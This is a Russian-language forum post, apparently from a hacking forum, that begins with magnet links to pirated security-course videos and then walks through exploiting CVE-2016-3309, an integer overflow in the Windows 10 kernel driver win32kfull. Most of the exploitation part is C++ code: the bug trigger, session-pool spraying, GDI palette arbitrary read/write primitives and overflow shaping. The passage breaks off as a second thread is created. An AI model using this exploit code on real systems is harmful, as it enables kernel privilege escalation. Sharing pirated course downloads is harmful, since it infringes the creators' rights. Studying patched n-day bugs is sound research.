Видеоурок 3 - Переполнение кучи
Видеоурок 4 - Уязвимость форматной строки
Видеоурок 5 - Целочисленное переполнение
Вебинар "Консультация"
Видеоурок 6 "Атака возврата в библиотеку"
Видеоурок 7 "Внутреннее устройство шелл-кода"
Видеоурок 8 "Поиск бинарных уязвимостей"
Скачать GeekUniversity | Факультет информационной безопасности [4 четверть] (2019-2020) PCRec [H.264/1080p-LQ] torrent
nnmclub.to
Magent URI
Code:Copy to clipboard
magnet:?xt=urn:btih:48062D69320835C55AE4E7F457F3B6F0EBB87782&dn=4%20%d1%87%d0%b5%d1%82%d0%b2%d0%b5%d1%80%d1%82%d1%8c.%20%d0%9a%d1%80%d0%b8%d0%bf%d1%82%d0%be%d0%b3%d1%80%d0%b0%d1%84%d0%b8%d1%8f.%20%d0%91%d0%b8%d0%bd%d0%b0%d1%80%d0%bd%d1%8b%d0%b5%20%d0%b1%d0%b0%d0%b3%d0%b8
P.S. Курс так себе, своих денег он не стоит, содержание скудное, но для новичков пойдет
Spoiler: Полный курс
Скачать GeekUniversity | Факультет информационной безопасности [1 четверть] (2019-2020) PCRec [H.264/720p-LQ] torrent
nnmclub.to
Скачать GeekUniversity | Факультет информационной безопасности [2 четверть] (2019-2020) PCRec [H.264/720p-LQ] torrent
nnmclub.to
Скачать GeekUniversity | Факультет информационной безопасности [3 четверть] (2019-2020) PCRec [H.264/900p-LQ] torrent
nnmclub.to
Скачать GeekUniversity | Факультет информационной безопасности [4 четверть] (2019-2020) PCRec [H.264/1080p-LQ] torrent
nnmclub.to
Скачать GeekUniversity | Факультет информационной безопасности [дополнительные курсы] (2019-2020) PCRec [H.264/720p-LQ] torrent
nnmclub.to
Эта статья является непрямым продолжением моей предыдущей статьи. Много чего из предыдущей статьи будет упомянутой в этой, так что если вы её ещё не читали, то советую ознакомиться: https://xss.is/threads/52570.
Заранее стоит отметить, что если вы ранее не эксплуатировали уязвимости ядра Windows, и не понимаете как оно работает, то эта статья не для вас. Здесь я не буду подробно останавливаться на том, как работают те или инные механизмы ядра, сегодня мы полностью сосредоточимся на анализе и эксплуатации уязвимости.
Предисловие
В прошлой статье я отложил эксплуатацию реальной N-day уязвимости на следующий
раз, и вот этот следующий раз настал.
Дело в том что в отличии от HEVD, при эксплуатации реальной уязвимости
сталкиваешься с большим количеством нюансов и подводных камней. В этой статье
я пошагово разберу эксплуатацию уязвимости, так что при желании вы сможете
повторить мой опыт. ISO файл уязвимой версии Windows я выложил на мегу:
https://mega.nz/file/4F9iDCJC#y60E9jzSyni9iy3BPHdYx1brrGzMhN8TcowEeMohs_c
Инструментарий
Говоря об инструментарии, изменения относительно прошлой статьи не большие.
Хочу сказать спасибо varwar, за то что указал мне на
существование такой замечательной вещи как kdnet. Сегодня он займёт место
VirtualKd из предыдущей статьи
Кроме того, в качестве декомпилятора сегодня выступит Ghidra, все скриншоты были сделаны в ней. Если захотите сами покопаться в драйверах, вы вольны использовать любой декомпилер. В конце статьи я приложу файл win32kfull.sys двух версий.
Настройка kdnet
Настоить kdnet очень легко.
Просто скопируйте два файла kdnet.exe и VerifiedNICList.xml из:
"C:\Windows Kits\10\Debuggers\x64"
И разместите их в любом месте на уязвимой виртуалке. Я советую создать для них
отдельную папку на диске С:
"C:\KDNET"
Далее открываем отладчик, жмём File
и открываем "Attach to kernel"
:
В поле Port number вводим номер порта, я обычно беру 50014. А в поле Target вводим ip адрес уязвимой виртуалки
Запускаем kdnet.exe:
.\kdnet.exe <ip address> <port>
shutdown -r -t 0
Для удобства команды можно объединить в одну:
cd C:\KDNET & .\kdnet.exe <ip address> <ip> & shutdown -r -t 15
Анализ уязвимости
Теперь перейдём к краткому анализу уязвимости. Всё что мы изначально знаем это
имя уязвимой функции: win32kfull!bFill, и тип уязвимости: IntegerOverflow.
Возьмём два файла win32kfull.sys. Один из уязвимой перед CVE-2016-3309: Windows 10 1703 x64 Creators Update, а второй из пропатченой версии: Windows 10 1909. Статья и так получается не маленькой, так что мы не будем полностью анализировать фукнцию а сразу перейдём к интересным для нас различиям в функции bFill. На первом скрине у нас пропатченая версия:
А на втором уязвимая:
Очевидно что в уязвимой версии не хватает одного блока. Этот блок осуществляет проверку, является ли значение в ECX(param1) большим чем 0xffffffff. Если это так то мы попадаем в так называемый bad block(я отметил его красным). Он сразу же перебросит нас в конец фукнции:
Из всего вышесказанного, думаю стало очевидно что именно здесь происходит IntegerOverflow. Давайте более подробно разберём этот фрагмент уязвимой фукнции.
Первое что бросается в глаза это вызов PALLOCMEM2, что намекает на то что нам придётся работать с пулом. Вот листинг декомпилера для PALLOCMEM2:
Следующее что бросается в глаза это регистр RAX:
По адресу 1c011db47, RAX умножается на 3 и перемещается в ECX(param_1). После
происходить побитовый сдвиг влево, на 0x4, что по сути является умножением на
0x10. После чего без каких либо проверок ECX передаётся в PALLOCMEM2.
Если подставить в RAX правильные числа, то мы сможем переполнить 32-битный регистр ECX. В результате чего выделится маленький объект, который позже будет переполнен.
В декомпилере это выглядит примерно так:
Эксплуатация
Нерешённые вопросы
После того как мы поняли суть уязвимости, осталось выяснить ещё несколько
вопросов:
Начнём с первого
Вызов уязвимой функции
При эксплуатации любой уязвимости, когда встаёт вопрос о том как достичь
уязвимой функции, первое что стоит сделать это посмотреть на перекрёстные
ссылки(xrefs).
Проследовав по цепочке перекрёстых ссылок:
В EngFastFill() все вызовы приходят из самой EngFastFill(), значит её вызывают
извне. В результате у нас получается следующая цепочка вызовов:
bFill() <- bEngFastFillEnum() <- bPaintPath() <- EngFastFill()
Далее нам нужно понять что нам требуется чтобы пройти всю цепочку вызовов. Для этого взгялнем на листинги дизассемблера для каждой функции:
bEngFastFill:
C++:Copy to clipboard
void bEngFastFillEnum(uint *param_1,_RECTL *param_2,unsigned_long param_3,FuncDef5 *param_4,
undefined8 param_5,void *param_6)
{
...
bFill((EPATHOBJ *)param_1,param_2,local_194,param_4,param_6);
LAB_1c011c3f8:
__security_check_cookie(local_48 ^ (ulonglong)&stack0xfffffffffffffe28);
return;
}
Сдесь вызов проходит безусловно.
bPaintPath:
C++:Copy to clipboard
undefined8
bPaintPath(longlong param_1,undefined8 param_2,undefined8 param_3,uint param_4,int param_5,
undefined4 param_6)
{
...
uVar3 = bEngFastFillEnum(param_2,param_3,param_6,vPaintPathEnum,vPaintPathEnumRow,&local_38);
return uVar3;
}
В bPaintPath тоже без условно.
И EngFastFill:
C++:Copy to clipboard
int EngFastFill(longlong param_1,_PATHOBJ *param_2,_RECTL *param_3,uint *param_4,_POINTL *param_5,
uint param_6,unsigned_long param_7)
{
short sVar1;
int iVar2;
SURFACE *pSVar3;
longlong lVar4;
uint uVar5;
undefined8 in_stack_ffffffffffffffc8;
uint uVar6;
unsigned_long uVar7;
uVar6 = (uint)((ulonglong)in_stack_ffffffffffffffc8 >> 0x20);
pSVar3 = (SURFACE *)SURFOBJ_TO_SURFACE();
if (*(short *)(param_1 + 0x4c) != 0x0) {
return -0x1;
}
sVar1 = CONCAT11((&gaMix)[param_6 >> 0x8 & 0xf],(&gaMix)[param_6 & 0xf]);
if (sVar1 == 0x0) {
uVar5 = 0x0;
LAB_1c011c07a:
lVar4 = (ulonglong)uVar6 << 0x20;
LAB_1c011c08a:
iVar2 = bPaintPath(pSVar3,param_2,param_3,uVar5,lVar4,param_7);
}
else {
...
}
А вот EngFastFill вызов прячется внутри условной конструкции. Сильно не углубляясь можно сказать, что вызов зависит от передаваемого Device Context. В нашем случае это должен быть Memory, т.е. битмапы.
Суммируя всё вышесказанное и пять минут в гугле, получаем следующий код:
C++:Copy to clipboard
#include <windows.h>
#include <stdio.h>
int main() {
printf("[*] Exploit for CVE-2016-3309 Windows 10 1703 RS2 Creators Update\n");
printf("[*] Trying to reach vulnerable function win32kfull!bFill\n");
HDC hdc = GetDC(NULL);
HDC hMemDC = CreateCompatibleDC(hdc);
HGDIOBJ bitmap = CreateBitmap(0x111, 0x1111, 1, 32, NULL);
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
if (!BeginPath(hMemDC)) {
printf("[!] Error in BeginPath!\n");
return 1;
}
int size = 0x1111;
POINT* points = (POINT*)malloc(size * sizeof(POINT));
if (!PolylineTo(hMemDC, points, size)) {
printf("[!] Error in PolylineTo()\n");
return 1;
}
EndPath(hMemDC);
FillPath(hMemDC);
printf("[+] Finish\n");
return 0;
}
Первым идёт вызов GetDC(NULL), который вернёт нам Device Context всего экрана(<https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser- getdc>). Далее идёт вызов CreateCompatibleDC(hdc), который вернёт нам хэндлер памяти. В памяти мы создадим битмап(CreateBitmap), и добавим линии(PolylineTo). Здесь нас интересует всего 2 параметра: это кол-во точек и кол-во линий, запомните их, они пригодятся нам позже.
Ставим бряк на win32kfull!bFill, запускаем наш exe и получаем следующее:
_Примечание: Если кто-то всё таки решится сам повторить эксплоит, то советую
устанавливать аппаратные точки останова, так как обычные у меня не работали.
Делается это так:
Обычная точка останова:
bp win32kfull!bFill
Аппаратная:
ba e1 win32kfull!bFill
У аппаратных бряков есть ограничение, их может быть всего 4. Это ограничение
процессорной архитектуры и вы ничего с этим не сделаете, так что учитвайте что
у вас всего 4 точки останова. _
![docs.microsoft.com](/proxy.php?image=https%3A%2F%2Fdocs.microsoft.com%2Fen- us%2Fmedia%2Flogos%2Flogo-ms- social.png&hash=6906c100f5991915f6bfbf8b223662f4&return_error=1)
](https://docs.microsoft.com/en-us/windows- hardware/drivers/debugger/processor-breakpoints---ba-breakpoints-)
Processor Breakpoints (ba Breakpoints)
docs.microsoft.com
И так, мы достигли нашей функции bFill. Одной проблемой меньше!
Контроль размера выделения
Контролировать размер выделения можно при помощи аргументов передаваемых в
функции. Как вы помните в bFill, RAX умножается на 3, затем на 0x10. Чтобы
выполнить переполнение 32-битного регистра ECX, нам нужно значение большее чем
MAX_UINT32, те больше чем 0xffffffff. 0xffffffff / 3 = 0x55555555, из этого
следует:
Если мы поместим в RAX 0x55555556, то 0x55555556 * 3 = 0x100000002, но регистр
32-битный, те в ECX будет лежать 0x00000002. Затем 0x00000002 будет умножено
на 0x10(16). И в результате мы получим 0x20. Формула такая:
y = (x + 1) * 3 * 0x10
Спреим пул
Настало время определится с тем, как будет выглядеть наш пул. Но перед эти,
определим примитив который будем использовать. В прошлой статье это были GDI
Bitmap(SURFOBJ), в этот раз мы воспользуемся GDI Palette(XEPALOBJ). Палетки
работают примерно так-же как и битмапы. Вот структура _PALETTE64:
C++:Copy to clipboard
typedef struct _PALETTE64
{
BASEOBJECT64 BaseObject; // 0x00
FLONG flPal; // 0x18
ULONG32 cEntries; // 0x1C
ULONG32 ulTime; // 0x20
HDC hdcHead; // 0x24
ULONG64 hSelected; // 0x28
ULONG64 cRefhpal; // 0x30
ULONG64 cRefRegular; // 0x34
ULONG64 ptransFore; // 0x3c
ULONG64 ptransCurrent; // 0x44
ULONG64 ptransOld; // 0x4C
ULONG32 unk_038; // 0x38
ULONG64 pfnGetNearest; // 0x3c
ULONG64 pfnGetMatch; // 0x40
ULONG64 ulRGBTime; // 0x44
ULONG64 pRGBXlate; // 0x48
PALETTEENTRY *pFirstColor; // 0x80
struct _PALETTE *ppalThis; // 0x88
PALETTEENTRY apalColors[3]; // 0x90
}
В ней нас интересуют два поля: cEntries и pFirstColor. cEntries указывает кол- во членов массива colors, а pFirstColor это указатель на первый элемент этого массива. Что нам это даёт? При помощи фукнций GetPaletteEntries и SetPaletteEntries, мы можем переписывать и считывать элементы массива. При условии что мы перепишем поля структуры _PALETTE64 нужными нам значениями, мы получим ArbitraryRW примитив.
Как и в случае с битмапами, мы расположим два объекта подряд, один из которых мы обозначим Manager, а второй Worker. Manager будет переписывать поля в Worker, а Worker будет осуществлять запись и чтение из памяти.
При чтении и записи с использованием фукнций Get/SetPaletteEntries стоит учитывать что мы читаем не память напрямую, как в случае с GetBitmapBits, а читаем массив, каждый элемент которого представляет собой структуру _PALETTEENTRY:
C++:Copy to clipboard
typedef struct tagPALETTEENTRY {
BYTE peRed;
BYTE peGreen;
BYTE peBlue;
BYTE peFlags;
} PALETTEENTRY
Каждый раз считывая или записывая в память, мы будем делить требуемый размер памяти на размер PALETTEENTRY(4 байта). Учитывая это мы получаем следующие фукнции произвольного чтения\записи:
C++:Copy to clipboard
int write(UINT64 target_address, BYTE* data, int size) {
// cEntries
memcpy(&manager_bits[(cEntries_offset + 0x60) - (0x18*4)], &size, sizeof(DWORD));
// pFirstColor
memcpy(&manager_bits[(cEntries_offset + 0x60) - 0x8], &target_address, sizeof(UINT64));
// Setting values
SetPaletteEntries(manager, 0, (cEntries_offset + 0x60) / 4, (PALETTEENTRY*)manager_bits);
// Writing data
return SetPaletteEntries(worker, 0, size / 4, (PALETTEENTRY*)data) * 4;
}
int read(UINT64 target_address, BYTE* data, int size) {
// cEntries
memcpy(&manager_bits[(cEntries_offset + 0x60) - (0x18 * 4)], &size, sizeof(DWORD));
// pFirstColor
memcpy(&manager_bits[(cEntries_offset + 0x60) - 0x8], &target_address, sizeof(UINT64));
// Setting values
SetPaletteEntries(manager, 0, (cEntries_offset + 0x60) / 4, (PALETTEENTRY*)manager_bits);
// Reading data
return GetPaletteEntries(worker, 0, size / 4, (PALETTEENTRY*)data) * 4;
}
Где:
manager_bits - массив данных которые мы будет писать в память, с помощью
manager палетки. Этот массив включает заголовок worker палетки с нужными нам
значениями cEntries и pFirstColor
cEntries_offset - отступ до поля cEntries следующей палетки
Для создания палетки используется фукнция CreatePalette().
Размер _PALETTE64 мы можем контролировать на этапе создания палетки, изменяя
кол-во элементов массива apalColors. Для создания палеток определённого
размера мы будем использовать следующую функцию:
C++:Copy to clipboard
HPALETTE createPaletteOfSize(int size) {
int pallette_entry_count = (size - 0x90) / 4;
int pallette_size = sizeof(LOGPALETTE) + (pallette_entry_count - 1)*sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(pallette_size);
memset(lPalette, 0x4, pallette_size);
lPalette->palNumEntries = pallette_entry_count;
lPalette->palVersion = 0x300;
return CreatePalette(lPalette);
}
Нюанс заключается в том, что наше переполнение - неконтроллируемое, тоесть мы не контроллируем то, чем переписываем данные в _PALETTE64. В результате этого мы затрагиваем те поля структуры, которые трогать не следует, об этом я ещё расскажу чуть ниже. Поэтому в нашем случае мы разместим 3 палетки, первая будет названа pwnd, вторая manager, а третья worker.
Из всего вышесказанного складывается следующая карта пула:
Chunk №1 : (Trash Palette){0xf50} + (Vuln Object){0xb0}
Chunk №2 : (Pwnd Palette){0xff0} + (Padding){0x10}
Chunk №3 : (Manager Palette){0xff0} + (Padding){0x10}
Chunk №4 : (Worker Palette){0xff0} + (Padding){0x10}
Размер чанка в нашем случае будет 0x1000, а размер уязвимого объекта с учётом заголовка будет 0xb0. Чтобы разместить уязвимый объект в конце чанка, перед ним мы размещаем палетку которая просто будет занимать пространство.
Размер итогового уязвимого объекта мы получаем из 2 параметров: числа линий и
числа точек в них. Нам потребуется выделение размером 0xb0, без заголовка
POOL_HEADER это будет 0xa0, давайте воспользуемся формулой которую я указывал
ранее:
y = (x + 1) * 3 * 0x10
, где y = 0x2000000a0. Решим просто линейное
уравнение: (x + 1) = 0x2000000a0 : 0x30, (x + 1) = 0xaaaaaae, x = 0xaaaaaad
Из этого следует что в качестве числа линий и числа точек мы можем
использовать любые два числа, результат умножения которых будет равен
0xaaaaaad, это 0x1769 и 0x74a5.
Давайте создадим структуру, в которой будем хранить хендлеры палеток:
C++:Copy to clipboard
typedef struct pool_palettes_ {
HPALETTE trash;
HPALETTE pwnd;
HPALETTE manager;
HPALETTE worker;
}pool_palettes;
Кроме того нам понадобится функция которая будет выделять мусорные объекты контролируемого размера:
C++:Copy to clipboard
typedef HANDLE(WINAPI* ZwUserConvertMemHandle)(BYTE* buf, DWORD size);
ZwUserConvertMemHandle pfnUserConvertMemHandle = 0;
void SetupUserConvertMemHandle() {
printf("[*] Setting up a UserConvertMemHandle\n");
pfnUserConvertMemHandle = (ZwUserConvertMemHandle)GetProcAddress(LoadLibraryA("win32u.dll"), "NtUserConvertMemHandle");
if (!pfnUserConvertMemHandle) {
printf("[!] Can't setup UserConvertMemHandle");
exit(-1);
}
printf("[+] pfnUserConvertMem: %llx\n", pfnUserConvertMemHandle);
}
HANDLE AllocateOnSessionPool(unsigned int size) {
int alloc_size = size - 0x14;
BYTE* buffer = (BYTE*)malloc(alloc_size);
memset(buffer, 0x41, alloc_size);
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, size);
BYTE* buf = (BYTE*)GlobalLock(hMem);
memcpy(buf, buffer, alloc_size);
HANDLE hMem2 = pfnUserConvertMemHandle(buf, alloc_size);
GlobalUnlock(hMem);
return hMem;
}
А теперь заспреим пул:
C++:Copy to clipboard
DWORD chunksize = 0xa0;
printf("[*] Preparing a pool\n");
for (int i = 0; i < 0x400; i++) {
AllocateOnSessionPool(0xfe0);
}
for (int i = 0; i < 0x5000; i++) {
AllocateOnSessionPool(chunksize);
}
palletes = (pool_palletes*)calloc(create_objs_count, sizeof(pool_palletes));
for (int i = 0; i < create_objs_count; i++) {
palettes[i].trash = createPaletteOfSize(0xf40);
palettes[i].pwnd = createPaletteOfSize(0xfe0);
palettes[i].manager = createPaletteOfSize(0xfe0);
palettes[i].worker = createPaletteOfSize(0xfe0);
}
for (int i = 0; i < create_objs_count / 2; i++) {
AllocateOnSessionPool(chunksize);
}
Устанавливаем бряк на win32kfull!bFill+0x3e6, сразу после вызова PALLOCMEM2. Функция PALLOCMEM2 вернёт адрес уязвимого объекта в регистре RAX:
Вызовем команду !pool с RAX в качестве аргумента, и в выводе получим следующее:
Как и ожидалось, мы получили следующую картину:
По адресу ffff959d1f0ecf50 распологается наш уязвимый объект размером 0xb0.
Сразу за ним по адресу rax+0xb0 распологается pwnd палетка, за которой следуют
manager и worker.
Deadlock основного потока
Вернёмся к тому нюансу который я упоминал выше. Т.к. наше переполнение
неконтролируемое, поля структуры до cEntries будут переписанны мусором.
Cтруктура PALETTE64:
C++:Copy to clipboard
typedef struct _PALETTE64
{
BASEOBJECT64 BaseObject; // 0x00
FLONG flPal; // 0x18
ULONG32 cEntries; // 0x1C
ULONG32 ulTime; // 0x20
HDC hdcHead; // 0x24
ULONG64 hSelected; // 0x28
ULONG64 cRefhpal; // 0x30
ULONG64 cRefRegular; // 0x34
ULONG64 ptransFore; // 0x3c
ULONG64 ptransCurrent; // 0x44
ULONG64 ptransOld; // 0x4C
ULONG32 unk_038; // 0x38
ULONG64 pfnGetNearest; // 0x3c
ULONG64 pfnGetMatch; // 0x40
ULONG64 ulRGBTime; // 0x44
ULONG64 pRGBXlate; // 0x48
PALETTEENTRY *pFirstColor; // 0x80
struct _PALETTE *ppalThis; // 0x88
PALETTEENTRY apalColors[3]; // 0x90
}
Первым её полем является другая структура - BASEOBJECT64:
C++:Copy to clipboard
typedef struct _BASEOBJECT64
{
ULONG64 hHmgr; // 0x0
ULONG32 ulShareCount; // 0x8
WORD cExclusiveLock; // 0xc
WORD BaseFlags; // 0xe
ULONG64 Tid; // 0x10
}BASEOBJECT64
Нас волнует поле hHmgr, ведь если переписать его случайным значением, мы попадём в BSOD. Давайте установим точку останова на изменение hHmgr и посмотрим какая конкретно фукнция его переписывает:
До переполнения hHmgr = 0x000817ca
. Взглянем какая функция его изменяет:
На точку останова попадает win32kbase!AddEdgeToGET. Давайте вглянем на неё в декомпилере:
Эта фукнция перемещает points в уязвимый объект в памяти, здесь фактически и
происходит переполнение. Взяглянем на этот код чуть подробнее:
Я отметил 3 параметр как previous(предыдущая точка), и 4 как
current(перемещаемая точка). В самом начале функции они будут перемещены в
регисты EDI и EBX соответственно, после этого current попадёт в R11D, а по
адресу 1c009e9df происходит вычетание: current - previous. За этим следует
условный переход JS(это знаковый переход, если результат вычетания получился
меньше нуля, то переход будет совершён). Вот так это выглядит в дизассемблере:
Если мы поотлаживаем функцию в отладчике, то станет ясно что (param2 + 0x5) это наш уязвимый объект. Из этого следует что если current point будет больше чем previous point, в объект будет записана единица. Зачем нам эта информация? А затем, что если мы перепишем hHmgr не случайным числом, а единицей то получим не BSOD, а deadlock main потока. То есть система не сломается, а основной поток зависнет.
Почему так происходит? Дело в том что в конце win32kfull!GreSetPaletteEntries и win32kfull!GreGetPaletteEntries происходит вызов DEC_SHARE_REF_CNT. Вот листинг дизассемблера для win32kfull!GreSetPaletteEntries:
И вот вывод дизассемблера для GreGetPaletteEntries:
Как вы можете заметить, в конце каждой функции есть вызов DEC_SHATE_REF_CNT. Это внешний вызов:
Находится функция в win32kbase. Давайте не будем тянуть и сразу взглянем на
дизассемблерный листинг:
C++:Copy to clipboard
uint DEC_SHARE_REF_CNT(uint *param_1)
{
char cVar1;
uint uVar2;
uint uVar3;
longlong lVar4;
longlong *plVar5;
GdiHandleManager *pGVar6;
uint *puVar7;
uint uVar8;
int iVar9;
ulonglong uVar10;
int iVar11;
uint *puVar12;
longlong **pplVar13;
uint *local_28;
int local_20;
// 0x420f0 494 DEC_SHARE_REF_CNT
puVar12 = NULL;
local_28 = NULL;
iVar9 = 0x0;
local_20 = 0x0;
HANDLELOCK::vLockHandle
(&local_28,(ulonglong)(*param_1 >> 0x8 & 0xff0000 | *param_1 & 0xffff),0x0,0x0);
puVar7 = local_28;
if (local_20 == 0x0) {
return 0x0;
}
if (local_28 == NULL) {
if (local_20 == 0x0) {
return 0x0;
}
HANDLELOCK::vUnlock(&local_28);
return 0x0;
}
if (((*(char *)((longlong)local_28 + 0xe) == '\x05') && (gbGdiHmgrAltStacks != 0x0)) &&
(gpentHmgrAltStacks != NULL)) {
RECALTUNLOCKSTACKBACKTRACE(*param_1 & 0xffff);
}
cVar1 = *(char *)((longlong)puVar7 + 0xe);
uVar2 = param_1[0x2];
if (cVar1 == '\x05') {
pplVar13 = *(longlong ***)(param_1 + 0x9a);
uVar10 = 0x0;
}
else {
if (cVar1 != '\x10') goto LAB_1c004216f;
pplVar13 = *(longlong ***)(param_1 + 0x26);
uVar10 = 0x2;
}
TrackObjectReferenceDecrement(uVar10,pplVar13);
LAB_1c004216f:
param_1[0x2] = param_1[0x2] - 0x1;
pGVar6 = gpHandleManager;
uVar8 = GdiHandleManager::DecodeIndex((uint *)gpHandleManager,*puVar7 & 0xffffff);
lVar4 = *(longlong *)(pGVar6 + 0x10);
uVar3 = *(uint *)(lVar4 + 0x808);
if ((uVar8 < (*(ushort *)(lVar4 + 0x2) + 0xffff) * 0x10000 + uVar3) &&
((iVar11 = iVar9, uVar8 < uVar3 || (iVar11 = (uVar8 - uVar3 >> 0x10) + 0x1, iVar11 != -0x1))))
{
lVar4 = *(longlong *)(lVar4 + 0x8 + (longlong)iVar11 * 0x8);
if (iVar11 != 0x0) {
uVar8 = ((uVar8 + iVar11 * -0x10000) - uVar3) + 0x10000;
}
if (uVar8 < *(uint *)(lVar4 + 0x14)) {
puVar12 = *(uint **)(*(longlong *)
(**(longlong **)(lVar4 + 0x18) + (ulonglong)(uVar8 >> 0x8) * 0x8) + 0x8
+ ((ulonglong)uVar8 & 0xff) * 0x10);
}
}
uVar8 = GdiHandleManager::DecodeIndex
((uint *)pGVar6,*puVar12 >> 0x8 & 0xff0000 | *puVar12 & 0xffff);
GdiHandleManager::DecodeIndex((uint *)pGVar6,uVar8);
lVar4 = *(longlong *)(pGVar6 + 0x10);
uVar3 = *(uint *)(lVar4 + 0x808);
if ((uVar8 < (*(ushort *)(lVar4 + 0x2) + 0xffff) * 0x10000 + uVar3) &&
((uVar8 < uVar3 || (iVar9 = (uVar8 - uVar3 >> 0x10) + 0x1, iVar9 != -0x1)))) {
plVar5 = *(longlong **)(lVar4 + 0x8 + (longlong)iVar9 * 0x8);
if (iVar9 != 0x0) {
uVar8 = ((uVar8 + iVar9 * -0x10000) - uVar3) + 0x10000;
}
puVar12 = (uint *)(*plVar5 + 0x8 + (ulonglong)uVar8 * 0x18);
*puVar12 = *puVar12 & 0xfffffffe;
ExReleasePushLockExclusiveEx
((ulonglong)(uVar8 & 0xff) * 0x10 +
*(longlong *)(*(longlong *)plVar5[0x3] + (ulonglong)(uVar8 >> 0x8) * 0x8),0x0);
KeLeaveCriticalRegion();
}
KeLeaveCriticalRegion();
return uVar2;
}
Если сильно не углубляться эта функция проверяет значение hHmgr, и если значение не валидно - мы получаем BSOD. Однако hHmgr = 0x1 является валидным значением, однако с таким значением вызов к vLockHandle не вернётся, в результате чего мы получим не BSOD(падение всей системы), а deadlock основного потока.
При этом использование других примитивов чтения\записи, таких как Bitmap, нам не поможет. Вот структура _SURFOBJ:
C++:Copy to clipboard
typedef struct _SURFOBJ
{
DHSURF dhsurf; // 0x000
HSURF hsurf; // 0x004
DHPDEV dhpdev; // 0x008
HDEV hdev; // 0x00c
SIZEL sizlBitmap; // 0x010
ULONG cjBits; // 0x018
PVOID pvBits; // 0x01c
PVOID pvScan0; // 0x020
LONG lDelta; // 0x024
ULONG iUniq; // 0x028
ULONG iBitmapFormat; // 0x02c
USHORT iType; // 0x030
USHORT fjBitmap; // 0x032
// size 0x034
} SURFOBJ, *PSURFOBJ;
А вот структура _SURFACE:
C++:Copy to clipboard
typedef struct _SURFACE
{ // Win XP
BASEOBJECT BaseObject; // 0x000
SURFOBJ surfobj; // 0x010
XDCOBJ * pdcoAA; // 0x044
FLONG flags; // 0x048
PPALETTE ppal; // 0x04c verified, palette with kernel handle, index 13
WNDOBJ *pWinObj; // 0x050 NtGdiEndPage->GreDeleteWnd
union // 0x054
{
HANDLE hSecureUMPD; // if UMPD_SURFACE set
HANDLE hMirrorParent;// if MIRROR_SURFACE set
HANDLE hDDSurface; // if DIRECTDRAW_SURFACE set
};
SIZEL sizlDim; // 0x058
HDC hdc; // 0x060 verified
ULONG cRef; // 0x064
HPALETTE hpalHint; // 0x068
HANDLE hDIBSection; // 0x06c for DIB sections
HANDLE hSecure; // 0x070
DWORD dwOffset; // 0x074
UINT unk_078; // 0x078
// ... ?
} SURFACE, *PSURFACE;
Первый элемент - Опять BASEOBJECT. Кроме этого, давайте взглянем на GreGetBitmapBits и GreSetBitmapBits:
C++:Copy to clipboard
void GreGetBitmapBits(undefined8 param_1,int param_2,longlong param_3,uint *param_4)
{
...
DEC_SHARE_REF_CNT();
ppppuVar7 = ppppuVar4;
}
DYNAMICMODECHANGELOCK::~DYNAMICMODECHANGELOCK((DYNAMICMODECHANGELOCK *)ppppuVar7);
__security_check_cookie(local_58 ^ (ulonglong)&stack0xfffffffffffffe78);
return;
}
void GreSetBitmapBits(undefined8 param_1,int param_2,undefined8 param_3,int *param_4)
{
...
DEC_SHARE_REF_CNT();
ppppuVar8 = ppppuVar4;
}
DYNAMICMODECHANGELOCK::~DYNAMICMODECHANGELOCK((DYNAMICMODECHANGELOCK *)ppppuVar8);
LAB_1c00a03bb:
__security_check_cookie(local_58 ^ (ulonglong)&stack0xfffffffffffffe78);
return;
}
Как вы можете видеть, в конце каждой функции происходит вызов DEC_SHARE_REF_CNT.
Учитывая всё вышесказанное, давайте перепишем фрагмент с вызовом PolylineTo()
C++:Copy to clipboard
HDC hdc = GetDC(NULL);
HDC hMemDC = CreateCompatibleDC(hdc);
HGDIOBJ bitmap = CreateBitmap(0x666, 0x1338, 1, 32, NULL);
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
int size = 0x74a5;
POINT* points = (POINT*)malloc(size * sizeof(POINT));
DWORD point_value = 0x66000000;
for (int x = 0; x < size; x++) {
points[x].x = point_value;
points[x].y = point_value;
}
if (!BeginPath(hMemDC)) {
printf("[!] Error in BeginPath!\n");
return 1;
}
for (int j = 0; j < 0x1769; j++) {
if (j == 0) {
points[1].x = 0x11223344;
points[1].y = 0x360;
points[2].x = 1;
points[2].y = 0x400;
}
else {
points[1].x = point_value;
points[1].y = point_value;
points[2].x = point_value;
points[2].y = point_value;
}
if (!PolylineTo(hMemDC, points, size)) {
printf("[!] Error in PolylineTo()\n");
return 1;
}
}
EndPath(hMemDC);
Здесь size массива points равен 0x74a5, и кол-во линий будет равно 0x1769. В
первой линии первая точка Y будет меньше второй точки Y, поэтому hHmgr будет
переписан единицей. Надеюсь этот момент понятен. Давайте проверим это в
отладчике:
Установим точку останова на запись в hHmgr. Так hHmgr выглядит до переполнения
Так выглядит cEntries:
Так выглядит hHmgr после переполнения:
Как мы видим мы получили ожидаемый результат, если вызвать
Set\GetPaletteEntries то мы получим deadlock.
Так выглядит cEntries:
Создаём второй поток
Так как избежать deadlock'a основного потока никак не получится, придётся
создать новый поток. Давайте начнём писать эксплойт с начала, собирая те части
которые я упоминал раньше. Начнём с фукнции main:
C++:Copy to clipboard
int main() {
printf("[*] Exploit for CVE-2016-3309 Windows 10 1703 RS2 Creators Update\n");
}
Первым делом объявим размер уязвимого объекта, и создадим массив pwnData, который будет содержать данные которые позже запишет в память наша pwnd палетка:
C++:Copy to clipboard
printf("[*] Preparing for vuln trigger\n");
DWORD vulnsize = 0xa0;
PALETTEENTRY* pwnData = (PALETTEENTRY*)calloc(0x1000, sizeof(PALETTEENTRY));
memset(pwnData, 0x4, 0x1000 * sizeof(PALETTEENTRY));
Теперь добавим в pwnData заголовок _POOL_HEADER для manager палектки:
C++:Copy to clipboard
BYTE pool_header_palette[] = "\x00\x00\xff\x23\x47\x68\x30\x38\x00\x00\x00\x00\x00\x00\x00\x00";
memcpy(&pwnData[(cEntries_offset / 4) - 12], &pool_header_palette, sizeof(pool_header_palette) - 1);
Где cEntries_offset будет глобальной переменной равной 0xf98.
Запустим второй поток, который продолжит работу после того как основной поймает deadlock:
C++:Copy to clipboard
printf("[*] Starting a sub_thread\n");
DWORD tid;
